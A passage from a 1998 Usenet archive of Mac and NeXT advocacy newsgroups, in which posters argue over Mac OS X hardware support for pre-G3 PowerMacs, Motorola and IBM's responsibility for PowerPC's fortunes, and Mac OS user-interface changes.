these motherboards. I think you're right.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 10:27:35 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-096.phx.primenet.com
Message-ID: <not-2307981027360001@ip-26-096.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz>,
mcox@ihug.co.nz (Martin Cox) wrote:
> No the argument is, if Apple does end up releasing OS X for only G3-shipped
> systems then :
>
> (1) They will lose upgrade customers for hardware. There _will_ be people
> who will, when their machine reaches the end of its useful life (some time
> after OS X has shipped), move to Wintel because of the decision. These will
> be users of 7x00, 8x00, and 9x00 level machines who would otherwise have
> upgraded to a new machine _at_a_later_ date.
Wrong. A phantom--a totally epemerla group. No one out there is going to
switch to Wintel just because they can't run OS X. Only the most
histrionic person trying to make a "political" point would do so. Why?
Cost. I bought a 1997 Mac (Power Center Pro 240) that won't run OS X.
Doesn't bother me, I've got a budget for a new G3 before Q3 1999. Anyway,
let's just assume I would want to switch to Wintel instead:
So, I sell my system and all its software. The software is worth
practically nothing, even with manuals, so the $4000 I spent on that
(PhotoShop, Illustrator, GoLive Pro, Quark, etc.) turns into about $250.
The CPU I paid $2200 for is worth about $800, only has 3 PCI slots. So I
start out with barely $1100. So I buy all of my software over again (which
costs just the same on the PC side), drop another $2500 on a 400 MHz PII,
come out $6000 in the red. Then, I spend three months getting the system
stable and re-learning all of my software programs and their new quirks
and workaronunds, losing hours I could turn into possible money the whole
time. AT the end of it I have a cheapo, unstable PC with a pale shadow of
my Mac GUI for a huge cost in money and hours wasted. As it blue-screens
again because of a faulty CD-ROM driver I tell myself, "I sure showed
those Apple bastards, didn't I!"
> (2) Lose OS upgrade customers - since they can't buy the upgrade they
> won't. Simple. That's quite a chunk of current users.
Most Mac users are still running System 7.
That's two wrong so far.
> (3) Lose hardware customers who consider the marginalising of PCI PowerMacs
> a Bad Thing and move to Wintel machines before OS X ships as they perceive
> Apple has little or no continued likelihood of a decent market share
> because of the decision. These will be users of, for example, 6100 level
> machines who would otherwise have bought the Next Great Thing(tm) from
> Apple.
See the point I made above. The users you cite do not exist. No matter how
angry anyone is, only a select few will have the cash to actually go out
and commit their act of rebellion.
> If, however, Apple manages to ship OS X for PCI PowerMacs (even if it is a
> staggered release, so long as there isn't an insanely long time between
> revisions) the basic difference is they will retain :
>
> (1) Software upgrade customers. ie those 7x00, 8x00, and 9x00 level machine
> owners who will jump at OS X.
Why? These machines will be 4 years old by the time OS X comes out. Just
like me, theu will have upgraded long before the ship date.
> and (2) Hardware upgrade customers. Both those who would have otherwise
> jumped to Wintel because of a perception of poor Apple support, and those
> who have 7x00, 8x00, and 9x00 series machines. Sure, _they_ won't upgrade
> immediately, but when the time _does_ come to upgrade they'll be far more
> sympathetic and loyal to an Apple that didn't "cut them off".
I think you will be utterly shocked, when the time comes, at how many
people are willing to upgrade their machines just to run the latest OS. Do
I really need to tell you how many of my PC-using friends ditched their
486 and bought a brand-new P II system just to run Win 98 vs Win 95?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 23 Jul 1998 17:19:53 GMT
Organization: University of Maryland, College Park
Message-ID: <6p7rbp$vhe$1@hecate.umd.edu>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu>
Pulsar (tokarek@uiuc.edu) wrote:
: On 23 Jul 1998 davewang@wam.umd.edu.delete.after.edu wrote:
: > You forget that no so long ago (5-6 years) there was a big annoucement
: > of the great alliance called AIM. The unstated and modest goal was to
: > acquire 10% of the CPU market in a decade. (Can't remember where I read
: > this from now) That won't be happening now. Motorola had very aggresive
: > goals to push and expand PPC chips, and really churn it out. Their
: > frustration was that their ability to push the chip was being limited by
: > the whim of another company, Apple.
: Hold it!
: While Apple has done some incredibly boneheaded and detrimental things to
: the Mac platform (which is the major source of demand for PPC chips in
: personal computers), neither Motorola nor IBM did any kind of advertising
: for the chips.
: While Intel spends large amounts of money on ad campaigns providing a
: large amount of visibility for their chips and association with the PC
: makers (who always have their Intel Inside chime at the end of their
: commercials), Motorola and IBM were and still are _silent_. IBM was and
: still is selling computers based on Intel's chips! Motorola is
: implementing a changeover to x86 based PCs running Windows NT.
IBM put a lot of money into PPC other than just advertising. IBM had its
own power personal division, OS/2 PPC development project. Prep....
IBM wanted a standard platform specification so that it could create
an alternative platform to x86. That platform specification was called
PReP. It died. It can't fault IBM as far as financial commitment to
PPC was concerned. Whether the root cause for the failure of the common
platform lays at the feet of IBM or Apple is only known by the insiders
in the early days of the alliance. After IBM restructured, and scaled
back its PPC involvement, Motorola tried for another push via MCG.
Motorola/IBM microelectronics doesn't have the kind of excess cash to
toss into advertising campaigns. Much like Intel's work to develope
standards(PCI, USB, AGP, ATX) IBM/Motorola did work to develope PREP/CHRP,
worded with MS to get NT ported.
: Apple definitely shares a lot of the responsibility for the current
: PowerPC situation, but it would be completely ridiculous to lay all the
: blame on Apple when IBM and Motorola share a great deal of it too.
As I said before, maybe IBM, although we don't know where the failure
for PReP lies, it's somewhere between IBM and Apple. Motorola's role
has always seemed secondary to IBM. (until now ofcourse)
: Ryan Tokarek
: <tokarek@uiuc.edu>
: <http://www.ews.uiuc.edu/~tokarek>
Date: Thu, 23 Jul 1998 12:59:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2307981259010001@wil73.dol.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net>
In article <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> If I were Mr. Moto, I sure would be somewhat sour on Apple. And a
> Jobs run Apple for sure.
>
Motorola may have reason to be angry at Apple. Or, it could be as Jobs
said that Motorola wasn't willing to pay a fair licensing fee.
BUT IT DOESN'T MATTER.
Motorola is doing something incredibly stupid from a business standpoint.
Not only are they refusing to buy computers based on their own product,
but they're telling the world about it.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 23 Jul 1998 14:33:03 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2307981433040001@wil48.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu>
In article <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On 23 Jul 1998 davewang@wam.umd.edu.delete.after.edu wrote:
>
> > Peter (pxpst2@SPAM.SUXS.unixs.cis.pitt.edu) wrote:
> > : davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> >
> <snip>
> > You forget that no so long ago (5-6 years) there was a big annoucement
> > of the great alliance called AIM. The unstated and modest goal was to
> > acquire 10% of the CPU market in a decade. (Can't remember where I read
> > this from now) That won't be happening now. Motorola had very aggresive
> > goals to push and expand PPC chips, and really churn it out. Their
> > frustration was that their ability to push the chip was being limited by
> > the whim of another company, Apple.
>
> Hold it!
>
> While Apple has done some incredibly boneheaded and detrimental things to
> the Mac platform (which is the major source of demand for PPC chips in
> personal computers), neither Motorola nor IBM did any kind of advertising
> for the chips.
>
> While Intel spends large amounts of money on ad campaigns providing a
> large amount of visibility for their chips and association with the PC
> makers (who always have their Intel Inside chime at the end of their
> commercials), Motorola and IBM were and still are _silent_. IBM was and
> still is selling computers based on Intel's chips! Motorola is
> implementing a changeover to x86 based PCs running Windows NT.
>
> Apple definitely shares a lot of the responsibility for the current
> PowerPC situation, but it would be completely ridiculous to lay all the
> blame on Apple when IBM and Motorola share a great deal of it too.
Absolutely. APPLE is the one advertising how fast G3 chips are. Did
Motorola or IBM spend even one cent on advertising their CPUs for desktop
computers?
And where is the OS/2 for PPC that IBM promised?
And where were IBM and Motorola when Microsoft was talking about dropping PPC?
And where is Motorola today when they have the option of buying boxes with
Intel CPUs running Windows or boxes with their own CPUs running Mac OS?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 23 Jul 1998 18:46:49 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6p80ep$9eb$1@vixen.cso.uiuc.edu>
References: <joe.ragosta-2207982122200001@elk62.dol.net> <B1DBE931-3BCBE@206.165.43.118>
Lawson English (english@primenet.com) wrote:
: But if a million of us indicated taht we'd be willing to pay $50 more each,
: Apple would certainly have the manpower in short order if they wanted that
: $50 extra ON TOP OF the normal income from MacOS X sales.
That's one heckuva big _IF_. Know how many people I've run across who
don't know about Rhapsody, MacOS X, NeXT, or anything else regarding the
current state of Apple? Many. Know how many people I deal with who are
still running system 7.5 and older? Again, many. They're happy with their
OS, and many more will likely be happy with 8.5 and 9 when they arrive.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 23 Jul 1998 11:34:08 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2307981134080001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com>
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In article <6p5bhr$hm1$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > Keep in mind that the new laptops are not necessarily meant to
> > do the same things as the "pro" laptops. They may be more like
> > WinCE devices. Until you know what they're trying to do with
> > them, how can you criticize them for a given screen size?
> >
> > Oh, I forgot. Everything Apple does is wrong by default.
>
> No, just what spouts out of your moronic and biased mind; it's a
> safe default assumption with you, though I imagine that might
> actually vary from time to time.
Will you give it a rest. You're adding nothing to the discussion with
comments like this.
> You are proposing that the LCD
> be based on a screen designed for a glorified calcuator, calandar
> device.
First of all, if you that that the Newton is a "glorified calculator,
calendar device," then you are obviously not very familiar with the Newton.
Secondly, the Mac UI worked very well on the 9" monitor of the original
Mac; now, with 9" screens that are capable of much better resolution, even
more screen space would be available. Putting out a low-cost, small-screen
Mac portable sounds like a great idea, even if it is only a 640x480 screen.
> Jeez, well what about those microwave ovens that have only
> 3" displays. This is rediculous. That is a different tool. Trying
> to force a desktop UI on a palm-micro-type unit would be silly,
> and vice-versa.
First of all, the success of Windows CE has shown that people don't mind
translating a desktop metaphor to a portable. And through the market
failure of the Newton, Apple has shown that people really don't want to use
a new interface, even if it is better suited to a portable device. So
making a smaller device that uses the Mac OS seems like the next logical
step, since it would also have a much larger code base to draw from.
Seriously, what could Apple do in this arena that you would think was a
good idea? If they put the Mac OS on a smaller device, you feel that it's a
bad idea; obviously, you don't like the Newton OS, and that strategy had
many problems itself. So, what is your suggestion for Apple's portable-unit
strategy? Or do you just prefer to bash ideas, without offering a
suggestion as to what would be better?
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 23 Jul 1998 11:15:55 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2307981115550001@news>
References: <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 21 Jul 1998, Andy Bates wrote:
>
> > Maybe Apple has done the same thing, and determined that they weren't any
> > better than the current OS.
>
> Maybe Apple hasn't bothered trying. We can prove neither at the moment.
The difference is that I'm not claiming that Apple IS trying, while you ARE
claiming (or implying) that Apple is NOT. Your statement is easily
disprovable.
> Well, Apple doesn't seem to be exploring other options NOW, _AND_ Apple
> has a history of taking many years to address flaws that Mac users have
> pointed out time and time again.
You mean like the flaws you pointed out? Other than the garbage-can issue,
they all seem pretty minor. All of your suggested changes would be defined
as "incremental."
It seems like you have a double-standard here: you suggest incremental
changes that you want Apple to make, yet you complain that their OS changes
over the past few years have "only" been incremental. Why are your
incremental changes valid, while Apple's incremental changes keep the OS
"stagnant"?
> Because Apple doesn't even seem to be doing that. We certainly have gotten
> a lot of incremental updates, but the serious flaws in the UI have still
> not been addressed.
Again, the flaws that you have addressed, aside from the menu issue, seem
to all be incremental changes themselves.
> What I see more of now is focus on themes and schemes.
That is certainly the most visible change, but is not the most major
change. There are many other changes to the UI that have been made, but of
course the addition of Themes will be more visible. For example, there is
now a proxy icon in the title bar of open folders. This icon allows you to
manipulate the folder even when it is open (and the regular icon is not
visible). This metaphor could be (and I believe, will be) extended to
documents, so that you can drag and drop the icon to save a file instead of
having to select "Save" from the menu bar.
Now, will you withdraw your comment that no significant UI changes are
being made?
> Look at the screen shots of pre-release versions of Mac OS 8.5 that are up
> in various places on the internet. There are a few needed changes, but a
> lot of the flaws are still there.
Again, besides the menu bar (which is up for debate) and the Trash Can
thing (which is only confusing for the most novice users), your stated
flaws are minor.
Andy Bates.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 14:01:05 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu>
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On Thu, 23 Jul 1998, Michael M. Eilers wrote:
> In article <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz>,
> mcox@ihug.co.nz (Martin Cox) wrote:
>
> > No the argument is, if Apple does end up releasing OS X for only G3-shipped
> > systems then :
> >
> > (1) They will lose upgrade customers for hardware. There _will_ be people
> > who will, when their machine reaches the end of its useful life (some time
> > after OS X has shipped), move to Wintel because of the decision. These will
> > be users of 7x00, 8x00, and 9x00 level machines who would otherwise have
> > upgraded to a new machine _at_a_later_ date.
>
> Wrong. A phantom--a totally epemerla group. No one out there is going to
> switch to Wintel just because they can't run OS X. Only the most
> histrionic person trying to make a "political" point would do so. Why?
> Cost. I bought a 1997 Mac (Power Center Pro 240) that won't run OS X.
> Doesn't bother me, I've got a budget for a new G3 before Q3 1999. Anyway,
> let's just assume I would want to switch to Wintel instead:
I think you misunderstand the reasons for switching away from the Mac
platform based on Apple's decision and underestimate the number of people
that will switch.
The reason is not to make a "political" point. The reason is that dropping
support for machines that are still selling *new* right now in a little
more than a year sets a dangerous precedent. Apple has had a pretty good
history of backwards support for old systems. While there is never any
gaurantee anyway, setting the precedent of dropping support for 1 year old
machines makes it even more likely and possible that Apple will decide
that you need a G4 to run Mac OS XI and then a G5 to run Mac OS XII and
so on.
It is not a political statement, but a fear that Apple will continue to
drop support for perfectly good machines before users are ready to buy new
ones. It's the unreasonable forced upgrade precedent that would cause some
users to move away from the platform.
If Apple didn't have a history of being stupid and wishy-washy in other
areas, then this might not be as big a deal. As it is, this may be the
last straw that causes people to forsake the platform. (It will be for
me.)
Customer loyalty is _decreasing_ not increasing. While our loyalty is
amazing considering the circumstances, it is not unconditional.
<snip costs and diatribe on blue screens>
> "I sure showed those Apple bastards, didn't I!"
It's not about showing those Apple bastards. It's about getting away from
a platform for which a single company controls the OS and hardware wher
that company is willing to drop support for machines on a whim to force
people to upgrade.
For all that you bash Windows and PCs, people _are_ able to use them to
get work done. You exaggerate the disadvantages to haveing a Windows based
PC.
> > (2) Lose OS upgrade customers - since they can't buy the upgrade they
> > won't. Simple. That's quite a chunk of current users.
>
> Most Mac users are still running System 7.
Prove that or admit it is just speculation.
> That's two wrong so far.
Mac OS 8 sold 2 million copies in its first 2 months. There is
apparently tremendous demand for an "advanced" OS in the Macintosh
community. That demand has not been sated yet I'd bet.
Adding support for these machines would mean a potential market of 3 or 4
million more machines (I think... anybody have real numbers?). Assuming 3
or 4 million of those machines, that will double the likely market of G3
and G4 machines for Mac OS X by that time.
> > (3) Lose hardware customers who consider the marginalising of PCI PowerMacs
> > a Bad Thing and move to Wintel machines before OS X ships as they perceive
> > Apple has little or no continued likelihood of a decent market share
> > because of the decision. These will be users of, for example, 6100 level
> > machines who would otherwise have bought the Next Great Thing(tm) from
> > Apple.
>
> See the point I made above. The users you cite do not exist. No matter how
> angry anyone is, only a select few will have the cash to actually go out
> and commit their act of rebellion.
Poppycock. The 7300,7500,7600,8500,8600,9500, and 9600 machines were not
consumer level Macs. They were far from cheap and the people who bought
them are likely to have enough money to switch platforms especially
considering that hardware is generally cheaper on the PC side.
> > If, however, Apple manages to ship OS X for PCI PowerMacs (even if it is a
> > staggered release, so long as there isn't an insanely long time between
> > revisions) the basic difference is they will retain :
> >
> > (1) Software upgrade customers. ie those 7x00, 8x00, and 9x00 level machine
> > owners who will jump at OS X.
>
> Why? These machines will be 4 years old by the time OS X comes out. Just
> like me, theu will have upgraded long before the ship date.
Some of these machines will be 4 years old. Some will be one year old.
A whole bunch of PowerMac 9600/350s sold a couple of weeks ago and
PowerMac 8600/250 and 300s are still selling new today.
The reference system for Rhapsody DR1 was a PowerMac 9600/233 IIRC. All
the developers who bought 604e based PCI PowerMacs for Rhapsody will be
unable to run Mac OS X without buying new machines, and developers have
even less reason to support Apple than Apple's customers.
> > and (2) Hardware upgrade customers. Both those who would have otherwise
> > jumped to Wintel because of a perception of poor Apple support, and those
> > who have 7x00, 8x00, and 9x00 series machines. Sure, _they_ won't upgrade
> > immediately, but when the time _does_ come to upgrade they'll be far more
> > sympathetic and loyal to an Apple that didn't "cut them off".
>
> I think you will be utterly shocked, when the time comes, at how many
> people are willing to upgrade their machines just to run the latest OS. Do
> I really need to tell you how many of my PC-using friends ditched their
> 486 and bought a brand-new P II system just to run Win 98 vs Win 95?
You do not know that the situation in the Mac community is the same as for
your friends. You are using your anecdotal evidence as support for your
argument that Mac users will happily upgrade. (Which is possible, but
you've not proven or even significantly supported that in any way.)
Furthermore, Windows 98 does not drop support for machines that were
selling new one year ago. You talk of 486s. Those are 68040 class
machines. We are talking 604, 604e, and some 603e systems. These are
Pentium, PentiumPro, and PentiumII class machines.
There is no valid analogy between Mac OS X and Windows 98 (not one that
supports your argument anyway).
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 23 Jul 1998 14:10:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6p7g8o$ccg@newsb.netnews.att.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com>
Originator: gupta@tlctest
<quinlan@my-dejanews.com> wrote:
>
>Define lousy design. From an OS foundation point of view, the MacOS is
>inferior. I rate the Windows user interface as crap and the MacOS user
>interface as poor (1). And why is the advantage of Windows 95 (not to mention
>NT) multitasking dubious?
I use a Windows 95 machine every day at work and a Macintosh at home.
Whether Windows 95 is preemptively multitasking or not, its response to
my input is on par with my Macintosh (and when something called "findfast"
is running, is much worse).
-arun gupta
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 23 Jul 98 20:16:29 GMT
Organization: QMS
Message-ID: <6p85jh$g4q$2@news01.deltanet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu> <joe.ragosta-2307981433040001@wil48.dol.net>
In article <joe.ragosta-2307981433040001@wil48.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu>,
>Pulsar <tokarek@uiuc.edu> wrote:
..
>> While Intel spends large amounts of money on ad campaigns providing a
>> large amount of visibility for their chips and association with the PC
>> makers (who always have their Intel Inside chime at the end of their
>> commercials), Motorola and IBM were and still are _silent_.
..
>Absolutely. APPLE is the one advertising how fast G3 chips are. Did
>Motorola or IBM spend even one cent on advertising their CPUs for desktop
>computers?
Well put. It would help matters a great deal if Apple did not have to
evangalize the CPU, the OS, and the style of work.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 23 Jul 98 20:14:37 GMT
Organization: QMS
Message-ID: <6p85g8$g4q$1@news01.deltanet.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net>
In article <joe.ragosta-2307981259010001@wil73.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net>,
>gmgraves@slip.net (George Graves) wrote:
>> If I were Mr. Moto, I sure would be somewhat sour on Apple. And a
>> Jobs run Apple for sure.
>Motorola may have reason to be angry at Apple. Or, it could be as Jobs
>said that Motorola wasn't willing to pay a fair licensing fee.
The reason is irrelevant. Moto lost a heap of money in the Mac clone
market, and that is a fact that will live on in thier corporate
culture for some time. They know that getting in bed with Apple is a
dangerous thing, and any top exc who remembers that is going to be a
bit leery of working with the New Apple.
>BUT IT DOESN'T MATTER.
Afraid it does.
>Motorola is doing something incredibly stupid from a business standpoint.
>Not only are they refusing to buy computers based on their own product,
>but they're telling the world about it.
Err - Moto wants to move product. Focusing the PPC on the embedded
systems market, where it does very well indeed, is more likely to make
them money than trying to build a computer and an OS around it.
As a result, it buys them little to buy PPC machines.
The argument that they should buy PPC based computers anyway falls
down on several counts:
The amount of cash they make from the sale of one chip is small.
I have heard on the order $30-40 profit is a pretty good haul on a
recent model chip. (The margins are rather tight.) Thus, if they can
save that amount by buying a Wintel machine, it is worth doing so.
They can always use the money saved to make cheaper/better PPC
chips.
The many studies that show Macs as cheaper to support usually have
a flaw lurking in them. They assume that the user will not have to
support Wintel machines anyway. It is essentially impossible to avoid
needing MS tools, if you need to exchange documents with people on
Wintel. I have tried DataViz, as well as other tools, and avoiding
the MS Juggernaut is not an easy task, because these tools just do
not work well enough.
(Side issue - I have done so to date, but various third party
spreadsheets are Excel based, so I may need to buy Office.
This saddens me, as Office is far from good. Ick.)
If you will need to use Office and various other Windows products
anyway, then the "lowered support costs" for Macintoshes will
often become a phantom. For example, if you have ten help
desk people, and you need to train all of them in roughly the
same way, you are going to pay a lot for a small number of
Macintoshes, since then every help desk person needs to become
Mac-aware.
When the mix is more even, it becomes easier and cheaper per
person - there is enough local knowledge that any Mac user will
likely know others at the office, and thus they can trade information
without having to call the help desk. Further, you can split the
support group so that the help desk personell are specialized.
My real world support experiences and anecdotal evidence supports
the hypothesis that a roughly equal mix of Macs and PCs is
cheaper to support than an entirely PC shop. Mac shops tended to
be cheaper to support than PC shops, and supporting a small number of
either type of machine in an environment that uses primarily the other
is very expensive.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 14:04:00 -0600
Organization: Universtity of Utah - Department of Meteorology
Message-ID: <mazulauf-2307981404000001@grumpy.met.utah.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com>
In article <not-2307981027360001@ip-26-096.phx.primenet.com>,
eilersm@psn.net wrote:
> Wrong. A phantom--a totally epemerla group. No one out there is going to
> switch to Wintel just because they can't run OS X. Only the most
> histrionic person trying to make a "political" point would do so. Why?
> Cost.
This isn't necessarily true. Many people, such as myself, get by with
mostly freeware and shareware (browsers, news readers, emailers, TeX,
etc.). The commercial software I use consists mainly of compilers and
scientific plotting software which I would want to upgrade anyway, to gain
